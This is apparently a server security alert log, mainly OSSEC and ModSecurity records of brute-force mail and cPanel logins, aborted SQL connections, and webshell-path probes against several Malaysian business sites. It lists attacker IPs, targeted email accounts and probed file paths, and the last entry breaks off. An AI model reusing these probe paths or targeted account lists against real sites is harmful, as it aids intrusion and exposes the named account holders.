rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 15:20:23 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.158
country_id: 2635167
description:
2026-01-30 15:20:29 974654 [Warning] Aborted connection 974654 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.237.90
country_id: 1269750
description:
2026-01-30 15:20:45 dovecot_login authenticator failed for H=([182.95.26.141]) [125.23.237.90]:58146: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-01-30 15:20:08 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:50562: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 15:20:13 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:11617: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.247
country_id: 1733045
description:
2026-01-30 15:20:30 dovecot_login authenticator failed for H=([49.124.152.247]) [49.124.152.247]:44240: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.85.95.2
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=23811514527372 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 15:21:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47893: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.109.81.90
country_id: 2017370
description:
2026-01-30 15:21:26 dovecot_login authenticator failed for H=([176.109.81.90]) [176.109.81.90]:61856: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 15:21:36 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:45477: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 15:21:29 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:54850: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.137.66.82
country_id: 1835841
description:
2026-01-30 15:21:35 dovecot_login authenticator failed for H=([125.137.66.82]) [125.137.66.82]:4482: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.158
country_id: 2635167
description:
2026-01-30 15:22:11 974709 [Warning] Aborted connection 974709 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 15:22:22 H=(localhost.localdomain) [45.150.192.143]:43508 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-30 15:22:25 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:49824: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.78.85.92
country_id: 1835841
description:
2026-01-30 15:23:14 dovecot_login authenticator failed for H=([220.78.85.92]) [220.78.85.92]:57834: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 15:23:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15680: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.134.92.182
country_id: 1227603
domain: www.mkmetal.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mkmetal.com.my/2g.html HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.193.254.199
country_id: 3469034
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/product.php?id=2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.248.47.114
country_id: 6252001
description:
2026-01-30 15:25:51 dovecot_login authenticator failed for H=(syn-172-248-047-114.res.spectrum.com) [172.248.47.114]:35056: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-30 15:25:13 dovecot_login authenticator failed for H=([220.67.139.254]) [221.145.5.14]:52388: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.82.20.241
country_id: 1819730
description:
2026-01-30 15:25:48 dovecot_login authenticator failed for H=202-82-20-241.static.imsbiz.com [202.82.20.241]:52937: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 15:25:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:54484: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-30 15:26:40 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:57694: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.242.250.212
country_id: 1269750
description:
2026-01-30 15:26:41 dovecot_plain authenticator failed for H=(8HRKD1AKEBBNP) [117.242.250.212]:60811: 535 Incorrect authentication data (set_id=kang@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-01-30 15:26:08 dovecot_login authenticator failed for H=(nsg-static-217.97.72.182.airtel.in) [182.95.228.194]:47972: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.41
country_id: 690791
description:
2026-01-30 15:27:38 H=([45.144.212.41]) [45.144.212.41]:51575 F=<ash.zhang@ugslogistics.com> rejected RCPT <shipping@cordage.com.my>: SPF: 45.144.212.41 is not allowed to send mail from ugslogistics.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.238.239
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/cart.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.248.86.28
country_id: 3996063
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/news.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 15:27:18 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:45334: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.37.113.243
country_id: 1269750
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/corporate.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.193.112.85
country_id: 6252001
description:
2026-01-30 15:28:55 dovecot_plain authenticator failed for H=c-98-193-112-85.hsd1.il.comcast.net (handysible) [98.193.112.85]:52300: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.201.239.234
country_id: 1269750
description:
2026-01-30 15:28:09 dovecot_plain authenticator failed for H=(ZZ7H17CIG) [117.201.239.234]:62646: 535 Incorrect authentication data (set_id=laupk@chs.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 15:28:12 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.32.39.139
country_id: 2510769
description:
2026-01-30 15:28:14 dovecot_login authenticator failed for H=139.red-83-32-39.dynamicip.rima-tde.net [83.32.39.139]:41164: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.80
country_id: 2661886
description:
2026-01-30 15:28:24 dovecot_login authenticator failed for H=([188.126.240.80]) [188.126.240.80]:48030: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.220.95
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/index.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.203.12.0
country_id: 3996063
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/about_us.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.232.82.116
country_id: 3932488
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/single-service.html HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.151.29
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/ HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.238
country_id: 1814991
description:
2026-01-30 15:29:29 dovecot_login authenticator failed for H=([1.30.20.238]) [1.30.20.238]:44241: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.29.241
country_id: 1835841
description:
2026-01-30 15:29:38 dovecot_login authenticator failed for H=([112.160.29.241]) [112.160.29.241]:38173: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 15:31:00 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:55140: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-30 15:30:20 +0800] info [cpaneld] 165.22.212.32 - cofreth "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.25.226.77
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/checkout.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.166.105.133
country_id: 1814991
description:
2026-01-30 15:31:43 dovecot_login authenticator failed for H=([223.166.105.133]) [223.166.105.133]:39652: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.35.150.58
country_id: 2017370
description:
2026-01-30 15:31:51 dovecot_login authenticator failed for H=([178.35.150.58]) [178.35.150.58]:49526: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.88.103.73
country_id: 1861060
description:
2026-01-30 15:31:02 dovecot_login authenticator failed for H=(ADMIN) [149.88.103.73]:33126: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.205.17.124
country_id: 3469034
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/contect.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.86
country_id: 1269750
description:
2026-01-30 15:31:34 dovecot_login authenticator failed for H=([125.17.17.201]) [27.123.113.86]:55006: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 210.186.161.1
country_id: 1733045
description:
[2026-01-30 15:31:48 +0800] info [webmaild] 210.186.161.1 - muslihin@sutsb.com.my "POST /cpsess8991701086/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [203.106.96.63] != Current IP Address [210.186.161.1]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 15:32:03 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:59435: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.103.62.201
country_id: 1835841
description:
2026-01-30 15:32:11 dovecot_login authenticator failed for H=([222.103.62.201]) [222.103.62.201]:8713: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/index.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.250.28
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/firstswizerland.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 15:32:54 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:49226: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.209.221
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/swepusa.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 15:33:43 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:57578: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 15:33:15 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:38038: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.184.120.126
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/kossanvisitor.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.193.127
country_id: 1814991
description:
2026-01-30 15:34:33 dovecot_login authenticator failed for H=([183.167.193.127]) [183.167.193.127]:44681: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Resources/schemas/xliff-core-1.2-strict.xsd||User:visoftcom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.162.185.41
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/product-category.php?id=5 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 15:35:37 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:42680: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.66
country_id: 1269750
description:
2026-01-30 15:35:56 dovecot_login authenticator failed for H=(nsg-corporate-66.230.187.122.airtel.in) [122.187.230.66]:57184: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-30 15:35:03 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:49721: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 66.98.126.64
country_id: 6252001
domain: modern.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.198.147
country_id: 3658394
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/commoditypictures.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-01-30 15:36:19 dovecot_login authenticator failed for H=(dynamic-adsl.viettel.vn) [116.104.50.190]:60286: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.127.217
country_id: 1512440
description:
2026-01-30 15:37:04 dovecot_login authenticator failed for H=([213.230.127.217]) [213.230.127.217]:41682: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.157.27.237
country_id: 2077456
description:
2026-01-30 15:37:22 dovecot_login authenticator failed for H=([120.157.27.237]) [120.157.27.237]:55442: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.167.166.60
country_id: 1168579
domain: kainanholding.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:27114.kainanholding.com||ServerName:kainanholding.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dba0cd82cd236f1c4aa7417d8e69d721d20f1860||Title:0xc56a90e1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.255.67.18
country_id: 1562822
description:
2026-01-30 15:38:35 dovecot_plain authenticator failed for H=(E43HFC1) [171.255.67.18]:45935: 535 Incorrect authentication data (set_id=sham@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 15:38:44 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:41621: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 15:38:07 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:62316: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.158
country_id: 2635167
description:
2026-01-30 15:38:43 975369 [Warning] Aborted connection 975369 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.158' (This connection closed normally without authentication)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/http-kernel/Tests/DataCollector/Compiler.log||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.127.92.46
country_id: 1694008
description:
2026-01-30 15:40:09 dovecot_plain authenticator failed for H=(D5USN7IUSI1V) [222.127.92.46]:32355: 535 Incorrect authentication data (set_id=tammy@col.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/news.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-01-30 15:41:09 +0800] info [cpaneld] 45.168.113.8 - dscexpat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/img/photos/news.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.easy-pie-chart/img/photos/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.102.50
country_id: 1269750
description:
2026-01-30 15:42:23 dovecot_login authenticator failed for H=([27.123.102.50]) [27.123.102.50]:46978: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.50
country_id: 1269750
description:
2026-01-30 15:42:03 dovecot_login authenticator failed for H=(aes-static-089.153.22.125.airtel.in) [182.95.119.50]:57640: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.253.236.90
country_id: 690791
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Tests/fixtures/empty.po HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.138.69
country_id: 1819730
description:
2026-01-30 15:43:44 dovecot_login authenticator failed for H=069.138.48.116.static.netvigator.com [116.48.138.69]:63011: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/img/demos/news.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.246.91
country_id: 1835841
description:
2026-01-30 15:43:22 dovecot_login authenticator failed for H=([59.11.246.91]) [59.11.246.91]:50345: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.120.66.229
country_id: 2017370
description:
2026-01-30 15:44:02 dovecot_login authenticator failed for H=([79.120.66.229]) [79.120.66.229]:45578: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 15:44:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57281: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/js/img/photos/news.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/js||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.206.93.90
country_id: 290557
description:
2026-01-30 15:45:50 dovecot_login authenticator failed for H=([94.206.93.90]) [94.206.93.90]:46488: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/product.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 15:45:13 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:37738: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/photos/index.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.125.67.109
country_id: 1835841
description:
2026-01-30 15:46:49 dovecot_login authenticator failed for H=([39.125.67.109]) [39.125.67.109]:44057: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
